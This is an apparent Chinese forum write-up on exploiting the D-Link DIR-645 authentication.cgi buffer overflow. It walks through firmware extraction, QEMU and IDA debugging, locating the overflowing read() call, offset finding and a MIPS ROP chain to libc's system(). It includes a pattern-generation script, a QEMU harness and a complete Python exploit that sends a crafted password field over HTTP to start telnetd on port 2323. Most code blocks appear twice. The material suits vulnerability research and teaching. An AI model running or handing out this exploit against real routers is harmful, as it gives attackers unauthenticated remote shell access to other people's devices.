https://www.exploit-db.com/exploits/33862
关键点:溢出漏洞、http请求、password字段、authentication.cgi
用binwalk将固件中的文件系统提取出来,cd到squashfs目录,寻找存在漏洞的目标文件authentication.cgi,得知其是一个符号链接,真正的目标文件是cgibin
利用已有的poc来定位漏洞,使用的sh脚本如下,来自《路由器0Day漏洞》一书中run_cgi.sh
书中原有的poc运行失败
Ubuntu中执行脚本,开启调试端口1234,等待远程调试机连接
Windows 7 中IDA打开cgibin,开启远程调试
因为漏洞文件与认证有关,故function子窗口中搜索“authentication“,试一下authenticatecgi_main函数,F2下断,F9运行至此
地址0040B028处,保存ra寄存器中的返回地址到内存
F8单步,看什么时候内存中的返回地址被修改,来缩小范围,定位漏洞点;
执行read函数后,返回地址被覆盖,因此,可初步判定read为溢出点
getenv函数获取http请求中CONTENT_LENGTH字段的值,即内容长度;
随后atoi函数将字符串形式的长度值转为整型;
read函数没有验证参数nbytes大小,将用户可控的输入内容放置大小固定的栈中局部变量,从而发生溢出!
选择命令执行为该漏洞的攻击途径(除了利用system等函数来命令执行的方式,还有直接执行shellcode的方式)
目标文件cgibin会加载libc.so.0动态库,因此IDA中打开,在function子窗口中键入“system”,查得so动态库中system函数的地址为00053200
注意:由于so文件是动态库,因此00053200只是一个相对偏移,加上libc.so.0动态库的加载基址0x2aaf8000才是最终的绝对地址,即2ab4b200
(疑问:加载基址是怎么知道的?
光有函数的地址还不够,还要再找能够调用函数的指令。使用mips rop finder插件来寻找可用的gadgets序列
如上所示:jalr $t9会调用t9寄存器中的地址,而t9又来自s0,因此,只要将函数地址放置s0寄存器,便可以实现函数的调用;
待调用函数的参数a0,其来自s5,又来自于sp,0x170+var_160=sp+10
因此,将system函数地址放置s0,将待执行的命令放置sp+10,就可以实现任意命令的执行
patterLocOffset.py,生成大量有序字符,确定偏移以实现精准定位
用上述py脚本创建1160个定位字符串,保存至test文件;
执行poc脚本run_cgi.sh,与前面不同的是,此时password字段的值来自test文件即生成的定位字符串,而非多个‘A'字符。
IDA重新远程调试cgibin,运行至authentication_main函数要返回前,注意此时S0、RA寄存器中的值(RA用来放rop chain的地址,s0寄存器在rop chain中,存放要跳往的函数地址
由于选择了命令执行的攻击途径,在前面已经知道,s0寄存器中存放待调用的函数地址即system,故定位s0的地址0x42386842,得到偏移为1014
6中得到system函数的绝对地址为2ab4b200,注意到有00字符,在有些情况下可能会发生截断,保险起见,还是不用,另寻其他或者“曲线救国”
在此采用“曲线救国”的办法:对包含00的system函数地址进行计算,得到一个没有00的地址填充至S0寄存器,再在so文件中搜寻对s0寄存器进行计算的指令(上述system地址计算的逆向),将原地址恢复,通过跳板指令来实现“曲线救国”
如下是对s0寄存器进行+1的指令
一图胜千言
结合两条rop链来构造payload(5处关键点
尝试利用firmware-analysis-toolkit工具套件来模拟执行路由器固件
fat.py可以执行成功,但访问web界面192.168.0.1总是失败,测试其他固件可成功,因此工具本身没问题,推测是固件自身的问题,尝试解决无果,待研究。。
(第一次分析路由器漏洞,万事开头难,以后处处难,大坑小坑落玉盘
This module exploits an remote
buffer
overflow vulnerability on several D
-
Link routers.
The vulnerability exists
in
the handling of HTTP queries to the authentication.cgi with
long
password values. The vulnerability can be exploitable without authentication.
This module has been tested successfully on D
-
Link firmware DIR645A1_FW103B11. Other firmwares such as the DIR865LA1_FW101b06
and
DIR845LA1_FW100b20 are also vulnerable.
This module exploits an remote
buffer
overflow vulnerability on several D
-
Link routers.
The vulnerability exists
in
the handling of HTTP queries to the authentication.cgi with
long
password values. The vulnerability can be exploitable without authentication.
This module has been tested successfully on D
-
Link firmware DIR645A1_FW103B11. Other firmwares such as the DIR865LA1_FW101b06
and
DIR845LA1_FW100b20 are also vulnerable.
INPUT
=
"$1"
TEST
=
"$2"
LEN
=
$(echo
-
n
"$INPUT"
| wc
-
c)
PORT
=
"1234"
if
[
"$LEN"
=
=
"0"
] || [
"$INPUT"
=
=
"-h"
] || [
"$UID"
!
=
"0"
]
then
echo
-
e
"\nUsage: sudo $0 \n"
exit
1
fi
cp $(which qemu
-
mipsel
-
static) .
/
qemu
echo $TEST
echo
"$INPUT"
| chroot . .
/
qemu
-
E CONTENT_LENGTH
=
$
LEN
-
E CONTENT_TYPE
=
"application/x-www-form-urlencoded"
-
E REQUEST_METHOD
=
"POST"
-
E REQUEST_URI
=
"/authentication.cgi"
-
E REMOTE_ADDR
=
"192.168.1.1"
-
g $PORT
/
htdocs
/
web
/
authentication.cgi
echo
'run ok'
rm
-
f .
/
qemu
INPUT
=
"$1"
TEST
=
"$2"
LEN
=
$(echo
-
n
"$INPUT"
| wc
-
c)
PORT
=
"1234"
if
[
"$LEN"
=
=
"0"
] || [
"$INPUT"
=
=
"-h"
] || [
"$UID"
!
=
"0"
]
then
echo
-
e
"\nUsage: sudo $0 \n"
exit
1
fi
cp $(which qemu
-
mipsel
-
static) .
/
qemu
echo $TEST
echo
"$INPUT"
| chroot . .
/
qemu
-
E CONTENT_LENGTH
=
$
LEN
-
E CONTENT_TYPE
=
"application/x-www-form-urlencoded"
-
E REQUEST_METHOD
=
"POST"
-
E REQUEST_URI
=
"/authentication.cgi"
-
E REMOTE_ADDR
=
"192.168.1.1"
-
g $PORT
/
htdocs
/
web
/
authentication.cgi
echo
'run ok'
rm
-
f .
/
qemu
sudo .
/
run_cgi.sh `python
-
c
"print 'uid=A21G&password='+'A'*1160"
`
"uid=A21G"
sudo .
/
run_cgi.sh `python
-
c
"print 'uid=A21G&password='+'A'*1160"
`
"uid=A21G"
import
argparse
import
struct
import
binascii
import
string
import
time
import
sys
import
re
a
=
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
b
=
"abcdefghijklmnopqrstuvwxyz"
c
=
"0123456789"
def
generate(count,output):
codeStr
=
''
print
'[*] Create pattern string contains %d characters'
%
count,
timeStart
=
time.time()
for
i
in
range
(
0
,count):
codeStr
+
=
a[i
/
(
26
*
10
)]
+
b[(i
%
(
26
*
10
))
/
10
]
+
c[i
%
(
26
*
10
)
%
10
]
print
'ok!'
if
output:
print
'[+] output to %s'
%
output,
fw
=
open
(output,
'w'
)
fw.write(codeStr)
fw.close()
print
'ok!'
else
:
return
codeStr
print
"[+] take time: %.4f s"
%
(time.time()
-
timeStart)
def
patternMatch(searchCode, length
=
1024
):
offset
=
0
pattern
=
None
timeStart
=
time.time()
is0xHex
=
re.match(
'^0x[0-9a-fA-F]{8}'
,searchCode)
isHex
=
re.match(
'^[0-9a-fA-F]{8}'
,searchCode)
if
is0xHex:
pattern
=
binascii.a2b_hex(searchCode[
2
:])
elif
isHex:
pattern
=
binascii.a2b_hex(searchCode)
else
:
print
'[-] seach Pattern eg:0x41613141'
sys.exit(
1
)
source
=
generate(length,
None
)
offset
=
source.find(pattern)
if
offset !
=
-
1
:
print
"[*] Exact match at offset %d"
%
offset
else
:
print
"[*] No exact matches, looking for likely candidates..."
reverse
=
list
(pattern)
reverse.reverse()
pattern
=
"".join(reverse)
offset
=
source.find(pattern)
if
offset !
=
-
1
:
print
"[+] Possible match at offset %d (adjusted another-endian)"
%
offset
print
"[+] take time: %.4f s"
%
(time.time()
-
timeStart)
def
main():
parser
=
argparse.ArgumentParser()
parser.add_argument(
'-s'
,
'--search'
,
help
=
'search for pattern'
)
parser.add_argument(
'-c'
,
'--create'
,
help
=
'create a pattern'
,\
action
=
'store_true'
)
parser.add_argument(
'-f'
,
'--file'
,
help
=
'output file name'
,\
default
=
'patternShell.txt'
)
parser.add_argument(
'-l'
,
'--length'
,
help
=
'length of pattern code'
,\
type
=
int
,default
=
1024
)
args
=
parser.parse_args()
length
=
args.length
output
=
args.
file
createCode
=
args.create
searchCode
=
args.search
if
createCode
and
(
0
< args.length <
=
26
*
26
*
10
):
generate(length,output)
elif
searchCode
and
(
0
< args.length <
=
26
*
26
*
10
):
patternMatch(searchCode,length)
else
:
print
'[-] You shoud chices from [-c -s]'
print
'[-] Pattern length must be less than 6760'
print
'more help: pattern.py -h'
if
__name__
=
=
"__main__"
:
main()
import
argparse
import
struct
import
binascii
import
string
import
time
import
sys
import
re
a
=
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
b
=
"abcdefghijklmnopqrstuvwxyz"
c
=
"0123456789"
def
generate(count,output):
codeStr
=
''
print
'[*] Create pattern string contains %d characters'
%
count,
timeStart
=
time.time()
for
i
in
range
(
0
,count):
codeStr
+
=
a[i
/
(
26
*
10
)]
+
b[(i
%
(
26
*
10
))
/
10
]
+
c[i
%
(
26
*
10
)
%
10
]
print
'ok!'
if
output:
print
'[+] output to %s'
%
output,
fw
=
open
(output,
'w'
)
fw.write(codeStr)
fw.close()
print
'ok!'
else
:
return
codeStr
print
"[+] take time: %.4f s"
%
(time.time()
-
timeStart)
def
patternMatch(searchCode, length
=
1024
):
offset
=
0
pattern
=
None
timeStart
=
time.time()
is0xHex
=
re.match(
'^0x[0-9a-fA-F]{8}'
,searchCode)
isHex
=
re.match(
'^[0-9a-fA-F]{8}'
,searchCode)
if
is0xHex:
pattern
=
binascii.a2b_hex(searchCode[
2
:])
elif
isHex:
pattern
=
binascii.a2b_hex(searchCode)
else
:
print
'[-] seach Pattern eg:0x41613141'
sys.exit(
1
)
source
=
generate(length,
None
)
offset
=
source.find(pattern)
if
offset !
=
-
1
:
print
"[*] Exact match at offset %d"
%
offset
else
:
print
"[*] No exact matches, looking for likely candidates..."
reverse
=
list
(pattern)
reverse.reverse()
pattern
=
"".join(reverse)
offset
=
source.find(pattern)
if
offset !
=
-
1
:
print
"[+] Possible match at offset %d (adjusted another-endian)"
%
offset
print
"[+] take time: %.4f s"
%
(time.time()
-
timeStart)
def
main():
parser
=
argparse.ArgumentParser()
parser.add_argument(
'-s'
,
'--search'
,
help
=
'search for pattern'
)
parser.add_argument(
'-c'
,
'--create'
,
help
=
'create a pattern'
,\
action
=
'store_true'
)
parser.add_argument(
'-f'
,
'--file'
,
help
=
'output file name'
,\
default
=
'patternShell.txt'
)
parser.add_argument(
'-l'
,
'--length'
,
help
=
'length of pattern code'
,\
type
=
int
,default
=
1024
)
args
=
parser.parse_args()
length
=
args.length
output
=
args.
file
createCode
=
args.create
searchCode
=
args.search
if
createCode
and
(
0
< args.length <
=
26
*
26
*
10
):
generate(length,output)
elif
searchCode
and
(
0
< args.length <
=
26
*
26
*
10
):
patternMatch(searchCode,length)
else
:
print
'[-] You shoud chices from [-c -s]'
print
'[-] Pattern length must be less than 6760'
print
'more help: pattern.py -h'
if
__name__
=
=
"__main__"
:
main()
payload.AddNops(
1011
)
payload.AddAddress(
0x531ff
,
0x2aaf8000
)
payload.AddNops(
4
)
payload.AddNops(
4
)
payload.AddNops(
4
)
payload.AddNops(
4
)
payload.AddAddress(
0x159cc
,
0x2aaf8000
)
payload.AddNops(
4
)
payload.AddNops(
4
)
payload.AddNops(
4
)
payload.AddAddress(
0x158c8
,
0x2aaf8000
)
payload.AddNops(
4
)
payload.AddNops(
4
)
payload.AddNops(
4
)
payload.AddNops(
4
)
payload.Add(
'telnetd -p 2323'
)
payload.AddNops(
1011
)
payload.AddAddress(
0x531ff
,
0x2aaf8000
)
payload.AddNops(
4
)
payload.AddNops(
4
)
payload.AddNops(
4
)
payload.AddNops(
4
)
payload.AddAddress(
0x159cc
,
0x2aaf8000
)
payload.AddNops(
4
)
payload.AddNops(
4
)
payload.AddNops(
4
)
payload.AddAddress(
0x158c8
,
0x2aaf8000
)
payload.AddNops(
4
)
payload.AddNops(
4
)
payload.AddNops(
4
)
payload.AddNops(
4
)
payload.Add(
'telnetd -p 2323'
)
import
sys
import
time
import
string
import
socket
from
random
import
Random
import
urllib, urllib2, httplib
class
MIPSPayload:
BADBYTES
=
[
0x00
]
LITTLE
=
"little"
BIG
=
"big"
FILLER
=
"A"
BYTES
=
4
def
__init__(
self
, libase
=
0
, endianess
=
LITTLE, badbytes
=
BADBYTES):
self
.libase
=
libase
self
.shellcode
=
""
self
.endianess
=
endianess
self
.badbytes
=
badbytes
def
rand_text(
self
, size):
str
=
''
chars
=
'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'
length
=
len
(chars)
-
1
random
=
Random()
for
i
in
range
(size):
str
+
=
chars[random.randint(
0
,length)]
return
str
def
Add(
self
, data):
self
.shellcode
+
=
data
def
Address(
self
, offset, base
=
None
):
if
base
is
None
:
base
=
self
.libase
return
self
.ToString(base
+
offset)
def
AddAddress(
self
, offset, base
=
None
):
self
.Add(
self
.Address(offset, base))
def
AddBuffer(
self
, size, byte
=
FILLER):
self
.Add(byte
*
size)
def
AddNops(
self
, size):
if
self
.endianess
=
=
self
.LITTLE:
self
.Add(
self
.rand_text(size))
else
:
self
.Add(
self
.rand_text(size))
def
ToString(
self
, value, size
=
BYTES):
data
=
""
for
i
in
range
(
0
, size):
data
+
=
chr
((value >> (
8
*
i)) &
0xFF
)
if
self
.endianess !
=
self
.LITTLE:
data
=
data[::
-
1
]
return
data
def
Build(
self
):
count
=
0
for
c
in
self
.shellcode:
for
byte
in
self
.badbytes:
if
c
=
=
chr
(byte):
raise
Exception(
"Bad byte found in shellcode at offset %d: 0x%.2X"
%
(count, byte))
count
+
=
1
return
self
.shellcode
def
Print
(
self
, bpl
=
BYTES):
i
=
0
for
c
in
self
.shellcode:
if
i
=
=
4
:
print
""
i
=
0
sys.stdout.write(
"\\x%.2X"
%
ord
(c))
sys.stdout.flush()
if
bpl >
0
:
i
+
=
1
print
"\n"
class
HTTP:
HTTP
=
'http'
def
__init__(
self
, host, proto
=
HTTP, verbose
=
False
):
self
.host
=
host
self
.proto
=
proto
self
.verbose
=
verbose
self
.encode_params
=
True
def
Encode(
self
, data):
if
type
(data)
=
=
dict
:
pdata
=
[]
for
k
in
data.keys():
pdata.append(k
+
'='
+
data[k])
data
=
pdata[
1
]
+
'&'
+
pdata[
0
]
else
:
data
=
urllib.quote_plus(data)
return
data
def
Send(
self
, uri, headers
=
{}, data
=
None
, response
=
False
,encode_params
=
True
):
html
=
""
if
uri.startswith(
'/'
):
c
=
''
else
:
c
=
'/'
url
=
'%s://%s'
%
(
self
.proto,
self
.host)
uri
=
'/%s'
%
uri
if
data
is
not
None
:
data
=
self
.Encode(data)
if
self
.verbose:
print
url
httpcli
=
httplib.HTTPConnection(
self
.host,
80
, timeout
=
30
)
httpcli.request(
'POST'
,uri,data,headers
=
headers)
response
=
httpcli.getresponse()
print
response.status
print
response.read()
if
__name__
=
=
'__main__'
:
libc
=
0x2aaf8000
target
=
{
"1.03"
: [
0x531ff
,
0x158c8
,
0x159cc
,
],
}
v
=
'1.03'
cmd
=
'telnetd -p 2323'
ip
=
'192.168.0.1'
payload
=
MIPSPayload(endianess
=
"little"
, badbytes
=
[
0x0d
,
0x0a
])
payload.AddNops(
1011
)
payload.AddAddress(target[v][
0
], base
=
libc)
payload.AddNops(
4
)
payload.AddNops(
4
)
payload.AddNops(
4
)
payload.AddNops(
4
)
payload.AddAddress(target[v][
2
], base
=
libc)
payload.AddNops(
4
)
payload.AddNops(
4
)
payload.AddNops(
4
)
payload.AddAddress(target[v][
1
], base
=
libc)
payload.AddNops(
4
)
payload.AddNops(
4
)
payload.AddNops(
4
)
payload.AddNops(
4
)
payload.Add(cmd)
pdata
=
{
'uid'
:
'3Ad4'
,
'password'
:
'AbC'
+
payload.Build(),
}
header
=
{
'Cookie'
:
'uid='
+
'3Ad4'
,
'Accept-Encoding'
:
'gzip, deflate'
,
'Content-Type'
:
'application/x-www-form-urlencoded'
,
'User-Agent'
:
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)'
}
try
:
HTTP(ip).Send(
'authentication.cgi'
, data
=
pdata,headers
=
header,encode_params
=
False
,response
=
True
)
print
'[+] execute ok'
except
httplib.BadStatusLine:
print
"Payload deliverd."
except
Exception,e:
print
"2Payload delivery failed: %s"
%
str
(e)
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2021-8-7 16:12
被21Gun5编辑
,原因: